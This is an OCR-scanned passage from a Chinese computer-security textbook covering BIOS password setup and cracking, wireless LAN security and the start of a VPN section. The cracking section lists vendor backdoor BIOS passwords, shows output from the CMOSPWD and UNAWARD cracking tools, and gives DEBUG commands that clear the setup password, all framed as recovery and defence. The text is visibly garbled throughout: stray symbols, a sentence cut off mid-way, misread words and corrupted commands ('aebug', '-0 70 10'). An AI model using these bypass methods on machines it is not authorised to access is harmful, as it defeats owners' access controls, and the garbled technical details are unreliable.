以 使 用 计算 机 。 

(4) 选择 BIOS FEATURES SETUP 项 按 Enter 键 ,出 现 BIOS FEATURES SETUP 
设置 界面 ,用 光标 键 选择 SECURITY OPION 选项 后 ,用 键盘 上 的 Page Up/Page Down 键 
把 选项 改 为 SYSTEM( 设 定 为 SYSTEM 的 目的 是 让 计算 机 在 任何 时 候 都 要 检测 密码 ,包括 
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启动 机 器 ,SECURITY OPION 选项 还 有 一 个 参数 SETUP , 设 定 为 该 参数 表示 计算 机 在 设 
置 CMOS 参数 时 要 检测 密码 ) ,然后 按 Esc 键 退出 。 
(5) 选择 SAVE&.EXIT SETUP 项 按 Enter 刍 , 出 现 提示 后 按 Y 键 再 按 Enter 键 ,以 上 
设置 的 密码 即 可 生效 。 
通过 以 上 步骤 设置 以 后 ,计算 机 启动 和 设置 CMOS 参数 时 都 要 检测 密码 。 


4.3.2 BIOS 的 口令 破解 与 防范 措施 


在 日 常 的 工作 中 , 常 碰 到 一 些 用 户 由 于 遗忘 了 CMOS 口令 ,或 无 意 中 设 置 了 CMOS 口 
令 ,致使 计算 机 无 法 启动 操作 系统 或 无 法 进行 CMOS 参数 设置 的 情况 ,很 多 用 户 对 此 束 手 
无 策 , 只 能 送 计算 机 公司 修理 ,耽误 了 很 多 时 间 。 

其 实 , 根 据 CMOS 口令 的 设置 情况 ,可 以 有 很 多 方法 来 破解 ,其 原则 是 : 如 果 设 置 了 
CMOS 开机 口令 ,必须 采用 硬件 或 CMOS 万 能 密码 法 破解 ;如 果 仅 设置 了 BIOS 设置 口令 ， 
破解 这 种 口令 简直 易如反掌 ! 下 面 给 出 破解 CMOS 口令 的 各 种 方法 。 注 意 : 这 些 方法 当 
然 也 有 可 能 会 被 黑客 们 利用 ,因此 , 亦 应 针对 这 些 破解 方法 ,做 好 自己 计算 机 的 CMOS 口令 
保护 。 

1. 几 种 常见 密码 破解 方法 

(1) 硬件 法 破解 CMOS 口令 。 

忘记 了 电脑 的 BIOS 密码 是 一 件 不 幸 的 事 , 如 果 将 BIOS 设置 中 的 SECURITY 
OPTION( 密 码 属性 ) 设 为 ALWAYS/SETUP 或 SYSTEM 则 更 是 不 幸 中 的 不 幸 ,因为 此 时 
既 无 法 进入 CMOS 设置 程序 更 改口 令 ,也 无 法 启动 操作 系统 用 其 他 方法 破解 ,只 能 采取 在 
硬件 上 进行 CMOS 掉 电 处 理 和 使 用 万 能 密码 这 两 类 方法 解决 。 

下 面 介 绍 CMOS 掉 电 处 理 的 方法 。 这 里 首先 需要 提 及 的 是 ,硬件 破解 的 各 种 方法 均 需 
在 计算 机 关机 的 状态 下 进行 (最 好 将 电源 线 拔 掉 , 对 于 ATX 电源 尤 应 如 此 ) , 先 清除 人 身上 
的 静电 ,再 打开 计算 机 机 箱 进行 ,否则 可 能 导致 计算 机 硬件 损坏 。 

Q@ 跳 线 / 开 关 放 电 破 解法 

计算 机 主板 上 一 般 都 有 CMOS CLEAR(CMOS 清除 ) 跳 线 位 置 ,可 参照 主板 说 明 书 或 
主板 上 印 制 的 跳 线 说 明 , 用 一 跳 线 在 该 位 置 上 跳 接 一 下 ,CMOS 口令 就 被 清除 了 ,然后 将 跳 
线 恢 复原 状 , 开 机 后 即 能 进入 CMOS 设置 。 

@ 导线 划 芯 片 放 电 破 解法 

硬件 破解 CMOS 口令 的 本 质 是 让 CMOS RAM 芯片 掉 电 ,使 其 中 保存 的 设置 信息 于 
失 ,从 而 达到 清除 CMOS 口令 的 目的 (上 面 跳 线 法 的 实质 也 是 这 样 ), 明 白 了 这 一 点 ,在 解决 
此 类 问题 时 ,可 先 将 CMOS 电池 印 下 ,然后 用 一 根 导线 , 将 其 一 端 接 到 CMOS 电池 插座 的 
地 线 端 ,用 另 一 端 往 CMOS RAM 片 的 两 排 脚 上 轻 轻 地 一 扫 而 过 (如 不 能 确认 哪 块 是 
CMOS 芯片 , 则 可 多 扫 几 块 芯片 , 扫 时 注意 别 损伤 了 芯片 引 脚 ),CMOS 密码 便 会 被 清除 。 
此 方法 适用 于 计算 机 主板 上 没有 设计 CMOS CLEAR 跳 线 的 情况 。 

@ 缉 电 池 等 待 法 

这 是 一 种 麻烦 和 消极 的 方法 。 由 于 CMOS 是 靠 主 板 上 的 一 块 电池 及 相应 的 附属 电路 
来 提供 电源 以 保持 设置 信息 的 ,因此 ,如 果 将 CMOS 电池 取 下 ,再 将 电池 接口 的 正 负极 ( 注 
意 不 是 电池 的 正 负极 ) 短 路 ,然后 等 待 一 段 时 间 后 ,CMOS 供电 电路 中 残存 的 电能 将 会 消耗 
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完 ，CMOS 口令 就 会 被 清除 了 。 

如 果 CMOS 电池 是 焊接 在 主板 上 的 , 则 需 先 焊 下 来 再 试用 上 述 的 第 @、@ 方 法 。 所 以 
只 有 在 确认 主板 上 确实 没有 设计 CMOS CLEAR 跳 线 的 情况 下 , 才 采 用 后 两 种 方法 。 

(2) 用 CMOS 万 能 密码 破解 开机 口令 。 

如 果 计 算 机 机 箱 加 锁 ( 比 如 众多 的 进口 原装 计算 机 ) 或 因为 其 他 原因 无 法 打开 机 箱 , 自 
然 也 就 无 法 进行 上 述 的 硬件 破解 ,那么 是 否 还 有 方法 能 破解 CMOS 开机 口令 呢 ? 答案 是 肯 
定 的 ,下 面向 读者 介绍 一 种 不 用 拆 机 箱 的 软 方法 一 一 万 能 密码 。 

原理 : 在 BIOS 的 密码 中 也 有 像 WPS 那样 的 万 能 密码 ,但 不 同 的 BIOS 厂家 有 不 同 的 

Q@ 用 CMOSPWD 获取 CMOS 万 能 密码 

计算 机 BIOS 的 版 本 太 多 ,不 同 版 本 的 万 能 密码 也 不 一 样 , 想 用 上 述 的 几 个 密码 “ 通 
行 ? 于 所 有 版 本 的 BIOS 显然 是 不 可 能 的 。 那 么 如 何 获得 更 多 的 万 能 密码 呢 ? 在 Internet 
网 上 有 一 个 运行 在 DOS 环境 下 的 CMOSPWD. EXE 软件 可 以 做 到 这 一 点 。 图 4-2 是 
CMOSPWD. EXE 程序 的 一 个 运行 结果 报告 。 


CmosPwd-BIOS Cracker 1]. 5a, May 20 1999, Copyright 1996-99 
GRENIER Christophe grenier@ esiea. fr 

http://www. esiea. fr/public_html/Christophe. GRENIER/ 
Acer/IBM [S7 SS] 

AMI BIOSLUIJ 

AMI WinBIOS(12/15/93) [N-] 

AMI WinBIOS 2.5 [N-] 

Award 4. 5x Supervisor/ U1l/U2 [21312121 J][200022 ][000033] 
Compaq(1992)[ 6] 

Compaq(CTry…)[6??]] 

Dell version A08,1993[ J[] 

IBM(PS/2, Activa*…)[4X][6] 

IBM Thinkpad boot pwd[6] 

IBM 300 GL[L4X] 

Packard Bell Supervisor/ User Bad Bad 

Phoenix 1. 00.09. AC0(1994)CRC pwd err 

Phoenix 1.04[ J[4X] 

Phoenix 1. 10 A03/Dell GXiCRC pwd err 


图 4-2 CMOSPWD. EXE 程序 的 运行 结果 


由 此 运行 结果 可 以 看 出 ,CMOSPWD 工具 可 以 获取 多 种 BIOS 类 型 的 CMOS 万 能 密 
码 。 因 此 , 当 忘 记 了 计算 机 的 CMOS 密码 时 ,可 找 一 台 相 同 的 计算 机 ,给 其 设置 上 CMOS 
开机 口令 ,然后 运行 CMOSPWD 找到 “万 能 钥匙 ”, 再 用 到 自己 的 计算 机 上 即 可 。 
@ 用 UNAWARD 获取 AWARD BIOS 万 能 密码 
UNAWARD. EXE 可 以 帮 你 轻松 地 获得 AWARD BIOS 的 万 能 密码 ,而 且 还 有 3 个 : 
纯 数字 密码 .小 写字 母 密码 和 大 写字 母 密码 。 假 如 愿意 ,还 可 以 用 该 软件 DISABLE( 禁 用 ) 
11ls 


这 些 万 能 密码 ,甚至 删除 这 些 密码 。 执 行 UNAWARD. EXE 程序 ,显示 如 图 4-3 所 示 。 


Award bios(4. 51pg)'s password cracker ultraCoded 
by: jin ge jan of ‘98 final release 

detected supervisor password is now enabled 

equal uppercased password is: zbbbcaf 

equal lowercased password is: zwcdaac 

equal digital password is: 000100 


want: disable it or change it? (d/c/esc) 


图 4-3 UNAWARD. EXE 程序 显示 界面 


通常 同型 号 主机 的 AWARD BIOS 万 能 密码 是 一 致 的 。 因 此 , 当 忘 记 了 AWARD 
BIOS 密码 时 ,不 用 着 急 , 试 着 在 身边 找 找 朋 友 们 的 主板 型 号 .厂商 是 否 与 自己 的 这 人 台 主 机 
主板 相同 ,假如 有 的 话 , 用 UNAWARD. EXE 将 那 台 机 子 上 的 密码 获取 后 再 传 回 来 ,一 切 就 
大 功 告 成 了 。UNAWARD. EXE 在 Internet 上 可 以 下 载 。 

注意 : 若 需 BIOS 的 万 能 密码 ,必须 先 在 超级 用 户 密码 (SUPERVISOR PASSWORD) 
中 设置 密码 ,如 没有 超级 用 户 密 码 选项 , 则 必须 在 用 户 密码 (USER PASSWORD) 中 设置 密 
码 , 否 则 该 软件 不 能 用 作 BIOS 的 万 能 密码 。 

@ 使 用 通用 CMOS 密码 

目前 大 部 分 主板 使 用 AWARD 公司 的 BIOS 程序 ,部 分 主板 使 用 AMI 公司 的 BIOS 程 
序 , 某 些 厂家 在 生产 主板 时 为 自己 的 BIOS 预 留 了 通用 CMOS 密码 ,以 解 一 时 之 需 。 其 中 
AWARD BIOS 只 有 4. 51 版 以 前 的 才 有 通用 密码 。 一 般 有 以 下 通用 密码 ( 按 成 功 概率 
排序 ) : 


AWARD BIOS: wantgirl Syxz dirrid eBBB h996 wnatgirl Award 
AMI BIOS: Sysg 


以 上 通用 密码 在 386 ,486 或 奔腾 主板 上 破解 CMOS 几乎 百 发 百 中 ,但 在 P 了 [级 以 上 的 
主板 存在 通用 密码 的 可 能 性 就 较 少 了 

(3) 用 万 能 密码 程序 准确 破解 CMOS 设置 口令 。 

如 果 在 微机 的 BIOS SETUP 程序 中 设置 了 CMOS 口令 ,但 在 PASSWORD OPTION 
(密码 选项 ) 中 选择 为 SETUP 时 ,不 必 开 机 箱 , 只 要 简单 地 利用 上 面 介绍 的 万 能 密码 程序 在 
当前 计算 机 上 和 运行 一 下 , 即 可 轻松 和 准确 地 获得 这 台 计 算 机 的 CMOS 万 能 密码 ,然后 用 此 
万 能 密码 即 可 进入 BIOS SETUP 程序 中 更 改 各 种 CMOS 参数 了 。 

当 计 算 机 接 通 电源 时 ,首先 执行 的 是 BIOS 加 电 自 检 程 序 ,对 整个 系统 进行 全 面 的 检 
测 ,其 中 也 要 对 CMOS RAM 中 的 配置 信息 有 关 单 元 做 累加 和 测试 ,并 与 原来 的 存储 结果 进 
行 比 较 , 当 两 者 相 吻 合 时 , 则 CMOS RAM 中 的 配置 有 效 ,程序 继续 进行 其 他 测试 ; 当 比 较 
发 现 累加 和 与 原 值 不 相等 时 , 则 要 求 重新 配置 ,并 能 自动 地 按 实际 情况 进行 最 小 配置 的 设 
定 , 此 时 原来 的 CMOS 口令 也 会 被 自动 消除 。 

利用 这 一 点 ,只 要 往 CMOS RAM 中 的 80 口 的 10H~2DH( 配 置信 息 存 放 单 元 ) 中 任 
一 单元 写 人 一 个 数 , 即 可 清除 CMOS SETUP 口令 。 具 体操 作 如 下 。 
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从 A: 盘 或 C: 盘 启 动 ,然后 运行 DEBUG 程序 (从 DOS 目录 中 复制 或 运行 ) ,输入 : 


C>aebug ( 按 Enter 键 ) 
-0 70 10( 按 Enter 键 ) 
-0 71 10( 按 Enter 键 ) 
-ql( 按 Enter 键 ) 


然后 重新 启动 系统 ,密码 即 被 清除 ,系统 将 要 求 重新 配置 CMOS 参数 ,这 样 便 可 以 重新 
进入 BIOS SETUP 接口 去 设计 系统 配置 了 。 

2. 防范 CMOS 密码 的 破解 

通过 上 述 几 种 常见 CMOS 密码 破解 方法 ,可 以 了 解 到 要 破解 CMOS 密码 的 前 提 条 件 ， 
采用 硬件 破解 法 必须 能 够 打开 机 箱 , 因 此 ,防止 硬件 破解 法 的 主要 措施 是 给 主机 机 箱 加 上 物 
理 锁 。 

对 于 采用 万 能 密码 ,目前 没有 好 的 防范 措施 ,如 果 非 法 用 户 持 有 万 能 密码 , 则 开机 密码 
的 安全 保护 措施 已 失去 效用 ,只 能 靠 其 他 安全 措施 ,如 通过 操作 系统 的 安全 机 制 。 另 外 市 场 
上 有 些 硬盘 保护 卡 和 防毒 卡 有 开机 保护 机 制 和 密码 机 制 , 也 能 起 到 CMOS 密码 的 功能 , 且 
破解 的 可 能 性 要 比 CMOS 密码 机 制 更 难 些 。 

要 防范 采用 工具 软件 破解 CMOS 密码 ,最 主要 是 不 能 让 非法 用 户 在 被 保护 的 计算 机 上 
物理 性 地 执行 工具 软件 ,可 采用 如 下 措施 。 

(1) 屏蔽 计算 机 的 软驱 和 光驱 ,使 之 不 能 从 软驱 和 光驱 引导 操作 系统 。 

(2) 使 用 者 不 能 在 计算 机 处 于 交互 状态 ( 即 可 执行 用 户 命令 的 状态 ) 离 开 计算 机 ,如 若 
离开 计算 机 ,应 该 关机 、 锁 定 键盘 或 使 计算 机 处 于 安全 保护 状态 (例如 Windows 98 系统 的 

带 密码 屏幕 保护 状态 )。 

(3) 有 条 件 的 用 户 可 以 给 计算 机 加 安全 保护 卡 ( 例 如 硬盘 保护 卡 和 防毒 卡 ) 。 

(4) 设置 安全 的 口令 ,定期 更 新 密码 。 

有 关 设 置 安全 口令 的 措施 如 下 : 

(1) 使 用 好 的 口令 。 

好 的 口令 是 那些 很 难 猜测 的 口令 。 难 猜测 的 原因 是 因为 同时 有 大 小 写字 符 , 不 但 有 字 
符 , 还 有 数字 ,标点 符号 .控制 字符 和 空格 。 另 外 ,还 要 容易 记忆 ,至 少 有 7 到 8 个 字符 长 ,并 
且 容 易 输入 。 

(2) 不 使 用 不 安全 口令 。 

不 安全 的 口令 往往 是 : 任何 名 字 ( 包 括 人 名 、 软 件 名 .计算 机 名 甚至 幻想 中 事物 的 名 
字 ) ,电话 号 码 或 者 某 种 执照 的 号 码 ,社会 保障 号 ,任何 人 的 生日 ,其 他 很 容易 得 到 的 关于 自 
己 的 信息 ,任何 形式 的 计算 机 中 的 用 户 名 ,在 英语 字典 中 的 词 , 地 点 名 称 或 者 一 些 名 词 ,键盘 
上 的 一 些 词 ,任何 形式 的 上 述 词 再 加 上 一 些 数 字 。 

(3) 保持 口令 的 安全 要 注意 的 问题 。 

OQ 不 要 将 口令 写 下 来 。 

@ 不 要 将 口令 存 于 终端 功能 键 或 调制 解 调 器 的 字符 串 存储 器 中 。 

@ 不 要 选取 显而易见 的 信息 作 口 令 。 

@ 不 要 让 别人 知道 。 

@ 不 要 交替 使 用 两 个 口令 。 
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@ 不 要 在 不 同系 统 上 使 用 同一 口令 。 

@ 不 要 让 人 看 见 自己 在 输入 口令 。 

(4) 使 用 一 次 性 口令 。 

减 小 口令 危险 的 最 有 效 方法 是 根本 不 用 常规 口令 。 蔡 代 的 办 法 是 在 系统 中 安装 新 的 软 
件 或 硬件 ,使 用 一 次 性 口令 。 一 次 性 口令 就 是 一 个 口令 只 使 用 一 次 。 一 个 用 户 可 能 收 到 一 
个 打印 输出 的 口令 列表 ,每 次 登录 使 用 完 一 个 口令 ,就 将 它 从 列表 中 删除 。 用 户 也 可 以 得 到 
一 个 可 以 携带 的 小 卡 ,这 个 卡 每 次 将 显示 一 个 不 同 的 号 码 。 用 户 还 可 以 携带 一 个 小 的 计算 
器 , 当 登 录 时 ,计算 机 将 会 打印 出 一 个 不 同 的 号 码 , 用 户 将 这 个 号 码 输入 这 个 小 小 的 计算 器 
中 ,然后 输入 自己 的 标志 号 码 ,计算 器 将 输出 一 个 口令 ,用户 将 这 个 口令 再 输入 计算 机 中 。 

一 次 性 口令 系统 比 传统 方式 能 提供 更 强 的 安全 性 能 。 但 是 ,它们 要 求 安装 一 些 特 定 的 
程序 或 者 需要 购买 一 些 硬 件 , 因 此 现在 使 用 得 并 不 普遍 。 

在 一 个 网 络 中 , 当 用 户 穿 过 Internet 或 者 其 他 网 络 来 访问 时 ,管理 员 就 应 该 认真 地 考虑 
使 用 一 次 性 口令 。 否 则 ,攻击 者 可 以 窃听 截获 用 户口 令 , 以 后 将 攻击 这 些 站 点 。 


4.4 无线 局 域 网 的 安全 性 


4.4.1 无 线 局 域 网 安全 概述 


无 线 局 域 网 (WLAN,wireless LAN) 指 的 是 采用 无 线 传 输 媒介 的 计算 机 网 络 , 结 合 了 
最 新 的 计算 机 网 络 技术 和 无 线 通信 技术 。 无 线 局 域 网 是 有 线 局 域 网 的 延伸 。 使 用 无 线 技术 
来 发 送 和 接收 数据 ,减少 了 用 户 的 连 线 需求 。 与 有 线 局 域 网 相 比较 ,无 线 局 域 网 具有 开发 运 
营 成 本 低 、 时 间 短 ,投资 回报 快 , 易 扩 展 , 受 自然 环境 、 地 形 及 灾害 影响 小 ,组 网 灵活 快捷 等 优 
点 ,弥补 了 传统 有 线 局 域 网 的 不 足 。 目 前 WLAN 的 应 用 模式 可 以 分 为 两 大 类 : 一 类 是 企业 
或 个 人 自 建 的 无 线 局 域 网 ,广泛 用 于 金融 医疗、 制造 .零售 ,教育 等 行业 ; 另 一 类 是 电信 运营 
商 构建 的 可 运营 的 公众 无 线 局 域 网 (OWLAN,operator wireless LAN)。OWLAN 最 重要 
的 是 要 具备 可 运营 、 可 管理 的 条 件 。 

随 着 无 线 网 络 应 用 的 日 益 广泛 ,无 线 网 络 的 安全 问题 越 来 越 受 到 人 们 的 关注 。 由 于 无 
线 网 络 的 覆盖 区 域 一 般 会 大 于 机 构 或 者 家 庭 的 物理 范围 ,因此 ,无 线 网 的 范围 安全 不 易 保 
证 。 有 很 多 人 有 过 这 样 的 经 历 : 家 里 的 无 线 网 没有 打开 ,但 是 笔记 本 电脑 仍 能 搜索 到 可 用 
的 无 线 网 络 , 这 是 因为 邻居 的 无 线 网 正 打 开 的 缘故 。 很 多 使 用 无 线 网 的 用 户 不 去 设置 网 络 
接 入 密码 ,使 得 无 线 网 络 极 易 受到 攻击 。 无 线 网 络 可 能 受到 的 攻击 分 为 两 类 : 一 类 是 关于 
对 网 络 访问 控制 数据 机 密 性 保护 和 数据 完整 性 保护 进行 的 攻击 ; 另 一 类 则 是 由 无 线 介 质 本 
身 的 特性 决定 的 ,基于 无 线 通信 网 络 设计 .部 署 和 维护 的 独特 方式 而 进行 的 攻击 。 


4.4.2 无 线 网 络 安全 问题 


随 着 无 线 网 络 的 普及 和 应 用 ,无 线 网 的 安全 问题 也 越 来 越 突出 ,基于 无 线 网 的 攻击 比 有 
线 网 络 更 加 肆意 和 频繁 ,下 面 介绍 常见 的 针对 无 线 网 的 几 种 安全 问题 。 
1. WLAN 搜索 
据 统计 ,有 超过 50% 的 无 线 网 络 是 不 使 用 加 密 功 能 的 。 通 常 即使 加 密 功 能 处 于 活动 状 
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态 ,无 线 AP(access point, 接 人 点 ) 广 播 信息 中 仍然 包括 许多 可 以 用 来 推断 出 WEP 密 钥 的 
明文 信息 ,如 网 络 名 称 、SSID(secure set identifier ,安全 集 标 识 符 ) 等 。 

2. 窃听 截取 和 监听 

由 于 无 线 网 络 使 用 辐射 传播 ,只 要 在 无 线 接 人 点 AP(access point) 的 覆盖 范围 之 内 ,所 
有 的 无 线 终端 都 可 以 接收 到 无 线 信 号 。AP 无 法 将 无 线 信 号 定向 到 一 个 特定 的 接收 设备 
上 ,因此 ,对 无 线 网 络 的 窃听 和 信息 获取 变 得 更 加 容易 。 

穷 听 是 指 偷 听 流 经 网 络 的 计算 机 通信 的 电子 形式 。 它 是 以 被 动 和 无 法 觉察 的 方式 人 侵 
检测 设备 的 。 即 使 网 络 不 对 外 广播 网 络 信息 ,只 要 能 够 发 现任 何 明 文 信息 ,攻击 者 仍然 可 以 
使 用 一 些 网 络 工 具 来 监听 和 分 析 通 信 量 ,从 而 识别 出 可 以 破坏 的 信息 。 

3. 欺骗 和 非 授权 访问 

因为 TCP/IP(transmission control protocol/Internet protocol, 传输 控制 协议 /网 际 协 
议 ) 的 设计 原因 ,几乎 无 法 防止 MAC/IP 地 址 欺骗 。 只 有 通过 静态 定义 MAC 地 址 表 才 能 
防止 这 种 类 型 的 攻击 。 但 是 ,因为 巨大 的 管理 负担 ,这 种 方案 很 少 被 采用 。 只 有 通过 智能 事 
件 记 录 和 监控 日 志 才 可 以 对 付 已 经 出 现 过 的 欺骗 。 当 试图 连接 到 网 络 上 的 时 候 , 简 单 地 通 
过 让 另外 一 个 节点 重新 向 AP 提交 身份 验证 请 求 就 可 以 很 容易 地 欺骗 无 线 网 身份 验证 。 

4. 拒绝 服务 攻击 

基于 无 线 信号 传输 的 特性 和 专门 使 用 扩 频 技术 ,使 得 无 线 网 络 特别 容易 受到 DoS 
(denial of service, 拒 绝 服务 ) 攻 击 的 威胁 。 拒 绝 服务 是 指 攻 击 者 恶意 占用 主机 或 网 络 几 乎 
所 有 的 资源 ,使 得 合法 用 户 无 法 获得 这 些 资源 。 要 造成 这 类 的 攻击 ,最 简单 的 办 法 是 通过 让 
不 同 的 设备 使 用 相同 的 频率 ,从 而 造成 无 线 频谱 内 出 现 冲 突 。 

另 一 个 可 能 的 攻击 手段 是 发 送 大 量 非 法 (或 合法 ) 的 身份 验证 请 求 。 第 三 种 手段 是 ,如 
果 攻 击 者 接管 AP, 并 且 不 把 通信 量 传递 到 恰当 的 目的 地 ,那么 所 有 的 网 络 用 户 都 将 无 法 使 
用 网 络 。 无 线 攻 击 者 可 以 利用 高 性 能 的 方向 性 天 线 , 从 很 远 的 地 方 攻击 无 线 网 。 已 经 获得 
无 线 网 访问 权 的 攻击 者 ,可 以 通过 发 送 多 达 无 线 AP 无 法 处 理 的 通信 量 来 攻击 它 。 


4.4.3 无 线 网 络 安全 技术 


无 线 网 络 的 产生 和 发 展 时 间 不 长 ,有 关 无 线 网 络 安全 的 技术 标准 和 规范 正在 不 断 扩 充 
和 完善 ,无 线 网 络 安 全 一 般 采用 以 下 几 个 方面 的 技术 。 

1. 服务 集 标识 符 (SSID) 

通过 对 多 个 无 线 接 入 点 AP 设置 不 同 的 SSID ,并 要 求 无 线 工 作 站 出 示 正 确 的 SSID 才 
能 访问 AP, 这 样 就 可 以 允许 不 同 群 组 的 用 户 接 人 ,并 对 资源 访问 的 权限 进行 区 别 限 制 。 因 
此 ,可 以 认为 SSID 是 一 个 简单 的 口令 ,从 而 提供 一 定 的 安全 ,但 如 果 配 置 AP 向 外 广播 其 
SSID ,那么 安全 程度 将 下 降 。 由 于 一 般 情 况 下 ,用户 自 己 配置 客户 端 系统 ,所 以 很 多 人 都 知 
道 该 SSID ,很 容易 共享 给 非法 用 户 。 目 前 有 的 厂家 支持 “任何 (ANY)”SSID 方式 ,只 要 无 
线 工作 站 在 任何 AP 范围 内 ,客户 端 都 会 自动 连接 到 AP, 这 将 跳 过 SSID 安全 功能 。 

2. 连 线 对 等 保密 (WEP) 

WEP 是 IEEE 802. 11b 协议 中 最 基本 的 无 线 安 全 加 密 方式 。 在 链 路 层 采用 RC4 对 称 
加 密 技术 ,用 户 的 加 密 密 钥 必须 与 AP 的 密 钥 相 同时 才能 获准 存 取 网 络 的 资源 ,从 而 防止 非 
授权 用 户 的 监听 以 及 非法 用 户 的 访问 。WEP 提供 了 40 位 (有 时 也 称 为 64 位 ) 和 128 位 长 
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度 的 密 钥 机 制 。 但 是 它 仍 然 存在 许多 缺陷 ,例如 一 个 服务 区 内 的 所 有 用 户 都 共享 同一 个 密 
钥 ,一 个 用 户 丢 失 钥匙 将 使 整个 网 络 不 安全 。 而 且 40 位 的 钥匙 在 今天 很 容易 被 破解 ;钥匙 
是 静态 的 ,要 手工 维护 ,扩展 能 力 差 。 

3. Wi-Fi 保护 接 入 (WPA) 

WPA(Wi-Fi protected access) 是 继承 了 WEP 基本 原理 而 又 解决 了 WEP 缺点 的 一 种 
新 技术 。 由 于 加 强 了 生成 加 密 密 钥 的 算法 ,因此 ,即便 收集 到 分 组 信息 并 对 其 进行 解析 ,也 
几乎 无 法 计算 出 通用 密 钥 。 其 原理 为 根据 通用 密 钥 ,配合 表示 计算 机 MAC 地 址 和 分 组 信 
息 顺 序号 的 编号 ,分 别 为 每 个 分 组 信息 生成 不 同 的 密 钥 。 然 后 与 WEP 一 样 将 此 密 钥 用 于 
RC4 加 密 处 理 。 通 过 这 种 处 理 , 所 有 客户 端的 所 有 分 组 信息 所 交换 的 数据 将 由 各 不 相同 的 
密 钥 加 密 而 成 。 无 论 收集 到 多 少 这 样 的 数据 ,要 想 破 解 出 原始 的 通用 密 钥 几乎 是 不 可 能 的 。 
WPA 还 追加 了 防止 数据 中 途 被 算 改 的 功能 和 认证 功能 。 作 为 802. 11i 标准 的 子 集 , WPA 
包含 了 认证 .加密 和 数据 完整 性 校 验 3 个 组 成 部 分 ,是 一 个 完整 的 安全 性 方案 。 

4. 新 一 代 无 线 安 全 技术 一 一 IEEE 802. 11i 

IEEE 802.11i 标准 使 用 新 的 加 密 密 钥 协议 , 即 动态 密 钥 完整 性 约束 TKIP (temporal 
key integrity protocol) 和 高 级 加 密 标准 (AES) ,对 于 无 线 网 络 提 供 更 高 的 安全 保证 。 

TKIP 基于 RC4 加 密 算 法 ,对 现 有 的 WEP 技术 进行 了 改进 ,对 现 有 的 WEP 加 密 引 擎 
中 追加 了 密 钥 细 分 ,变化 每 个 数据 包 所 使 用 的 密 钥 ,包括 基本 密 钥 ( 即 TKIP 中 所 谓 的 成 对 
瞬时 密 钥 ) 发射 站 的 MAC 地 址 以 及 数据 包 的 序列 号 ,使 它 不 能 被 轻易 破译 。 

IEEE 802.11i 中 的 访问 控制 使 用 IEEE 802. 1x 标准 , 即 基 于 端口 的 网 络 访问 控制 技 
术 。IEEE 802.1x 可 以 提供 一 个 可 靠 的 用 户 认 证 和 密 钥 分 发 的 框架 ,可 以 控制 用 户 只 有 在 
认证 通过 以 后 才能 连接 网 络 。IEEE 802. 1x 与 上 层 认 证 协议 (EAP) 配 合 使 用 实现 多 种 类 型 
的 认证 ,能 与 后 台 不 同 的 认证 服务 器 进行 通信 ,如 远程 验证 拨号 用 户 服务 。 如 图 4-4 所 示 。 
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图 4-4 无 线 网 安全 标准 的 发 展 


4.4.4 无 线 网 络 安全 策略 


企业 搭建 无 线 网 络 时 ,需要 了 解 无 线 网 络 的 特点 ,并 针对 无 线 网 的 安全 问题 进行 整体 设 
计 、 细 节 控 制 以 及 实时 监控 和 评估 检查 ,以 减少 无 线 网 的 安全 隐患 ,提高 无 线 网 的 安全 质量 ， 
使 得 无 线 网 为 企业 发 展 做 出 积极 贡献 。 影 响 无 线 网 络 安全 策略 的 因素 很 多 ,以 下 就 其 中 主 
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要 的 几 个 方面 进行 介绍 。 

1. 整体 安全 架构 分 析 

在 无 线 网 络 设计 初期 就 要 分 析 潜 在 威胁 和 入 侵 者 ,对 可 能 发 生 的 情况 进行 预防 和 制订 
处 理 方案 。 

从 企业 或 机 构 的 整个 局 域 网 络 结构 作 整 体 考 虑 ,限制 无 线 网 信号 的 范围 ,并 将 无 线 网 和 
重要 的 内 部 有 线 局 域 网 络 明确 区 分 开 来 ,在 无 线 AP 接 人 内 部 网 络 的 入 口 采 用 防火 墙 设备 
进行 安全 隔离 ,必要 时 采用 物理 隔离 手段 ,禁止 无 线 网 连接 有 线 网 ,使 无 线 网 自 成 一 网 ,或 虽 
连接 有 线 网 ,但 将 非常 重要 人 敏感 的 局 部 有 线 网 络 ( 如 财务 部 ) 隔 离 出 来 自 成 一 网 。 这 样 即 使 
无 线 网 出 现 了 安全 问题 ,也 不 会 导致 内 部 网 络 的 严重 危机 。 

2. 隐藏 广播 SSID 功能 

大 多 数 破 解 无 线 网 的 初始 步骤 都 是 先 嗅 探 出 无 线 AP 所 使 用 的 频道 和 SSID, 再 进行 下 
一 步 抓 包 、 破 解 。 隐 藏 SSID 广播 功能 可 以 使 某 些 嗅 探 工具 失效 。 封 闭 整 个 网 络 ,避免 随时 
可 能 发 生 的 无 效 连 接 。 

3. 过 滤 MAC 地 址 

对 于 小 型 的 无 线 网 ,可 以 采用 MAC 访问 列表 功能 精确 限定 哪些 无 线 工 作 站 可 以 连接 
到 无 线 网 中 ,而 那些 不 在 访问 列表 中 的 工作 站 ,是 无 权 进 入 无 线 网 络 中 的 。 每 一 块 无 线 网 卡 
都 有 自己 的 MAC 地 址 ,可 以 在 无 线 网 络 节点 设备 中 创建 一 张 *“MAC 访问 控制 表 ”, 然 后 将 
合法 的 无 线 网 卡 MAC 地 址 逐一 录入 到 这 个 列表 中 ,允许 只 有 “MAC 访问 控制 表 ” 中 显示 的 
MAC 地 址 ,才能 进入 到 无 线 网 络 中 。 当 然 MAC 地 址 有 可 能 被 非法 访问 者 复制 ,这 要 求 用 
户 妥善 保管 相关 网 卡 的 MAC 信息 ,防止 遗失 。 

4. 使 用 VPN 

在 合适 的 位 置 使 用 VPN(virtual private network, 虚 拟 专 用 网 ) 服 务 , 是 比较 安全 的 远 
程 访 问 方法 。 一 些 AP( 例 如 Colubris 和 Nokia) 为 了 执行 的 方便 ,已 经 内 置 了 VPN。 


4.5 虚拟 专用 网 (VPN) 的 安全 性 


4.5.1 虚拟 专用 网 (VPN) 概 述 


1. 虚拟 专用 网 的 概念 

虚拟 专用 网 (virtual private network, VPN) 指 的 是 在 公用 网 络 上 建立 专用 网 络 的 技 
术 。 之 所 以 称 为 虚拟 网 ,主要 是 因为 整个 VPN 网 络 的 任意 两 个 节点 之 间 的 连接 并 没有 传 
统 专 网 所 需 的 端 -端的 物理 链 路 ,而 是 架构 在 公用 网 络 服务 商 所 提供 的 网 络 平台 ,如 
Internet.ATM( 异 步 传输 模式 )、Frame Relay( 帧 中 继 ) 等 之 上 的 逻辑 网 络 , 用 户 数 据 在 逻辑 
链 路 中 传输 。 

